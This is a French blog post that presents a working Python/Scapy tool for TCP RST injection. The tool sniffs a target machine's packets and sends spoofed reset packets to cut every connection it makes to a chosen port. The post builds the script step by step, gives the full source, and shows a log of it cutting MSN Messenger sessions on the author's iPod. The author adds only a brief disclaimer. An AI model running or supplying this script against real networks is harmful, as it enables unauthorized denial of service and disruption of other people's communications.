Exploit RST (2)

Publié le par Satellite

Toujours basé sur l'exploitation du protocole TCP, on va réaliser un petit script permettant de bloquer les ports de la machine cible. J'ai eu l'idée de ce script, découlant du précédent article sur l'attaque RST, en constatant que les serveurs MSNMSG  possèdent des IP multiples. Ainsi, le script se déroulera en plusieurs étapes:

1) Le robot récupere une trame réseau
2) Si la trame réseau provient de l'ip Cible et va vers le port interdit, quelque soit l'IP destinatrice, un paquet Spoofé va lui couper la connection par un paquet RST. (cf le précédent article pour une bonne compréhension)

On commence par une fonction nous retournant les informations d'un paquet:

def protocole(a):
    try:
        return [a[IP].src,a[IP].dst,a[TCP].sport,a[TCP].dport,a[TCP].ack]
    except:
        return 99


Passons au main : on récupère les informations entrées par l'utilisateur:

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Syntaxe : !/.py ipCible portDst_bloqué'
        exit(0)

    ipCible = sys.argv[1]
    portDst = int(sys.argv[2])


Ensuite nous lancons le bot par une boucle infinie afin d'entammer la programation evenementielle. Tout d'abord, on récupere un paquet ...

while 1:
        a = sniff(count = 1, filter = 'tcp and host ' + ipCible)[0]
        info = protocole(a)

 
...et on en tire les informations


if info != 99:
            ipSrc = info[0]
            ipDst = info[1]
            pSrc = info[2]
            pDst = info[3]
            numAck = info[4]


Si le paquet est en provenance de la cible est a destination d'une autre machine via le port bloqué, on coupe la connection ainsi

if ipSrc == ipCible and pDst == portDst:
                print ipDst + ' [Re-7]'
                send(IP(dst = ipCible,src = ipDst)/TCP(sport = pDst,dport = pSrc, flags = 'R', seq = numAck))


Le main final est donc:

#-*-coding:Utf-8-*-
from scapy.all import *
import sys

#----------------------------------------------------
#     iPsilon Port StuCk
#by iZy_TeH_PariaH
#Je ne suis pas responsable de votre utilisation de ce script
#Version : python2.6,ubuntu
#contact : dreamofanolife@hotmail.fr

#----------------------------------------------------


def protocole(a):
    try:
        return [a[IP].src,a[IP].dst,a[TCP].sport,a[TCP].dport,a[TCP].ack]
    except:
        return 99
        
if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Syntaxe : !/.py ipCible portDst_bloqué'
        exit(0)
    ipCible = sys.argv[1]
    portDst = int(sys.argv[2])
    while 1:
        a = sniff(count = 1, filter = 'tcp and host ' + ipCible)[0]
        info = protocole(a)
        if info != 99:
            ipSrc = info[0]
            ipDst = info[1]
            pSrc = info[2]
            pDst = info[3]
            numAck = info[4]
            if ipSrc == ipCible and pDst == portDst:
                print ipDst + ' [Re-7]'
                send(IP(dst = ipCible,src = ipDst)/TCP(sport = pDst,dport = pSrc, flags = 'R', seq = numAck))


Et pour prouver que ça marche, voici une attaque RST sur mon ipod via le port employé par MSN Messenger. Remarquez que le client msn de mon ipod se connecte à plusieurs adresses IP differentes (les differents serveurs MSN) et que ce script est donc beaucoup plus pratique que le précédent (mais le précedent était plus précis, il bloquait une adresse IP précise et un port précis)

sat@iZyNumeriC:~$ sudo python stuck.py 192.168.1.14 1863
WARNING: No route found for IPv6 destination :: (no default route?)
--- iPsilon Port Stuck ---
by iZy_TeH_PariaH
contact : dreamofanolife@hotmail.fr
Man in the middle obligatoire pour déconnecter une cible de son réseau
http://dream.of.a.nolife.overblog.net
Ce robot se déclenchera à la prochaine comunication de la cible avec le serveur
Mise sur écoute de 192.168.1.14:1863
64.4.16.81 [Re-7]
.
Sent 1 packets.
64.4.50.62 [Re-7]
.
Sent 1 packets.
207.46.107.58 [Re-7]
.
Sent 1 packets.
64.4.50.62 [Re-7]
.
Sent 1 packets.
207.46.110.76 [Re-7]
.
Sent 1 packets.
207.46.110.76 [Re-7]
.
Sent 1 packets.
64.4.50.62 [Re-7]



Publié dans Python

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article